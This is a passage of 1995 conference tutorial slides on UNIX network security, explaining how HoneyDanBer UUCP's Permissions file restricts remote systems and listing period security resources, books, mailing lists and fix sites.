(uucp) * readable, writable by that user only UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 195 HDB Differences * "L.cmd", "USERFILE" files combined * Can specify allowed commands on a per-system basis * Sending, receiving files controlled separately * By default, very strict security UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 196 Important Files: Calling Systems "Systems" The old "L.sys" file If a caller is not in the file, it cannot perform any operations; uucico calls the program remote.unknown UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 197 Important Files: Remote Access "Permissions" Combines function of "USERFILE" and "L.cmds" Uses a rule-based mechanism with lists of options: rule=list [option=list... ] UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 198 LOGNAME Rule LOGNAME=loginname[:loginname...] loginname login name of remote host * if a login name not in this file is used, the connection is refused UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 199 LOGNAME Rule (2) LOGNAME=loginname[:loginname...] * with no options: * remote system can send only to /usr/spool/ uucppublic * remote system cannot ask to receive any files * remote system sent files only when it is called * only default commands (defined at compile time; usually rmail and rnews) will be executed on behalf or remote system UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 200 LOGNAME Rule Options READ=dirname[:dirname...] allow remote system to read files in dirname or any of its subdirectories WRITE=dirname[:dirname...] allow remote system to write to files in dirname or any of its subdirectories NOREAD=dirname[:dirname...] don't allow remote system to read files in dirname or any of its subdirectories UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 201 LOGNAME Rule Options (2) NOWRITE=dirname[:dirname...] don't allow remote system to write to files in dirname or any of its subdirectories Example: LOGNAME=ubear REQUEST=yes READ=/ NOREAD=/etc Remote system bear can read any file in the system readable by that UID (except those under /etc) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 202 LOGNAME Rule Options (3) REQUEST=yes grant remote system permission to request files from local system (sent next time local system calls remote system) SENDFILES=yes allow system to send files to a remote system when remote system initiates transfer CALLBACK=yes force call-back before any transactions; all other options ignored UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 203 LOGNAME Rule Options (4) PUBDIR=dirname use dirname rather than /usr/spool/ uucppublic ads the public directory for this login MYNAME=whoIwanttobe identify local machine as whoIwanttobe to this login when it calls in VALIDATE=hostname if the remote host is hostname, it must use this login UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 204 Example Allow trusted hosts to read/write anything, but call back all others Solution: two uucp logins, one for trusted hosts, the other for untrusted ones: LOGNAME=trusted REQUEST=yes SENDFILES=yes READ=/ \ WRITE=/ PUBDIR=/usr/spool/uucp.trusted LOGNAME=untrusted CALLBACK=yes \ PUBDIR=/usr/spool/ uucp.untrusted UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 205 MACHINE Rule MACHINE=host[:host...] the rule applies to hosts named here; host OTHER stands for any host not named in a rule READ=dirname WRITE=dirname REQUEST=yes NOREAD=dirname NOWRITE=dirname PUBDIR=dirname All as for LOGNAME UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 206 MACHINE Options COMMANDS=command[:command...] allow the named commands to be executed by the remote system Example: To allow a host to call in and print things on a line printer: MACHINE=bear COMMANDS=rmail:/usr/local/bin/rnews:lp It can also send mail to the system and post news (here, rnews is in a non-standard place) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 207 A Complex Example LOGNAME=trusted MACHINE=prandtl:amelia \ VALIDATE= prandtl:amelia REQUEST=yes SENDFILES=yes \ READ=/ PUBDIR= /usr/spool/uucp.trusted \ COMMANDS=rmail:rnews:lpr Effect: whether you call amelia or prandtl, or they call you, the following restrictions hold: * they can request files be sent, and you will do so; * if they log in as anything other than trusted, the session will be terminated at once; * they can only send files to the directory "/usr/spool/ uucp.trusted" UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 208 uucheck uucheck -v * checks that UUCP directories are properly set up; * says what is and what is not allowed when remote systems call (done by login) * says what is and is not allowed when local host calls remote hosts (done by machine) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 209 Where to Get Help *Goal: To suggest other sources of information, points of contact, and so forth *Overview - vendors and agencies - electronic information - books and papers - bug fixes and useful programs UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 210 Vendors and CERTs * your vendor; many are quite willing to help or advise * CERT (and/or your agency's/country's/group's equivalent); in the US, the most visible one is at CMU. Send a letter to cert@cert.org to get on their list. Past advisories available via anonymous ftp. Or call (412) 268-7090 to contact them by telephone UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 211 Electronic Mailing Lists * DDN Management and Security Bulletins; to get on the mailing list, send to nic@nic.ddn.mil * UNIX security mailing list; requestors must convince moderator of their bona fides. Appears to be defunct. Send to security-request@cpd.com * RISKS list; send to risks-request@csl.sri.com; also in USENET group comp.risks * VIRUS list; send a letter with the line SUB VIRUS-L your full name to listserv%lehiibm1.bitnet@ucbvax.berkeley.edu; also in USENET group comp.virus UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 212 Electronic Mailing Lists * bugtraq mailing list, for discussion of UNIX security flaws; to get on the mailing list, send to bugtraq request@crimelab.com * firewalls mailing list; to get on it, send to firewalls request@greatcircle.com * cypherpunks mailing list, about the politics of cryptography: to get on it, send to cypherpunks request@toad.com * Kerberos mailing list; to get on it, send to kerberos request@mit.edu UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 213 The USENET * Newsgroup alt.security; unmoderated USENET newsgroup discussing security issues, usually about the UNIX system (but not always) * Newsgroup comp.security; moderated USENET newsgroup discussing computersecurity in general. * Newsgroup comp.security.unix; unmoderated USENET newsgroup discussing UNIX security; a must * Newsgroup misc.security; moderated USENET newsgroup discussing security in general (seems to be defunct now) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 214 Books Kochan and Wood, UNIX(TM) System Security, Hayden Books (C)1985; ISBN 0-8104-6267-2 Rather dated, and quite specific for System V; it is an excellent overview, especially for programmers Farrow, UNIX(R) System Security, Addison Wesley (C)1991; ISBN 0-201-57030-0 Despite some minor errors in the commentary (none of which affect the recommendations), a very good overview, with an especially good section on HoneyDanBer UUCP. UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 215 More Books Spafford and Garfinkel, Practical UNIX Security, O'Reilly & Associates (C) 1991; ISBN 0-937175-72-2 One of the best books around; its discussion of network security is a bit unsatisfying, but the programs and discussions in the other sections make it very worthwhile Curry, UNIX(R) System Security, Addison Wesley (C) 1992; ISBN 0-201-56327-0 Contains much information about a wide variety of systems; clear, well-written, and also very worthwhile UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 216 Still More Books Cheswick and Bellovin, Firewalls and Internet Security: Repelling the Wily Hacker, Addison-Wesley, (C) 1994; ISBN 0-201-63357-4 This is really a book about firewalls and UNIX, and at that it excels; it contains a little about generic network security, but it's very superficial. A must for people running UNIX and contemplating connections to the Internet (or those who connected before they thought about security!) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 217 Papers *Curry, "Improving the Security of Your UNIX System," ITSTD-721-FR-90-21, SRI International, 333 Ravenswood Ave., Menlo Park, CA 94025 (Apr. 1990) -Dave expanded this into his book. Fun reading - and possibly frightening! *Grampp and Morris, "UNIX Operating System Security," AT&T Bell Laboratories Technical Journal 63(8) pp. 1649-1672 (Oct. 1984) -Dated but fun; a good subtitle is, "How to break into a UNIX system faster than anyone thought possible" UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 218 Conference Proceedings Proceedings of the UNIX Security Workshop, USENIX Association, 2560 Ninth St., Suite 215, Berkeley, CA 94710 (Aug. 1988, Aug. 1990, Sep. 1992, Oct. 1993) These range from theoretical analyses to very practical, "how to secure your system", to the occasional "how to crack your system" USENIX conference proceedings, USENIX Association, 2560 Ninth St., Suite 215, Berkeley, CA 94710 (Aug. 1988, Aug. 1990) These cover UNIX systems in general, and sometimes have useful and interesting papers about security UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 219 Where to Get Fixes Sun: ftp to ftp.uu.net, login as anonymous (giving your id as password), change to directory vendor/ sun/sun-fixes, and copy the desired files Berkeley: as above, but look in the directories systems/unix/ucb-fixes Other vendors: as above (check vendor first, then system, but look for a directory with the appropriate name Other good places to look: ftp.uu.net: in comp.sources.... directories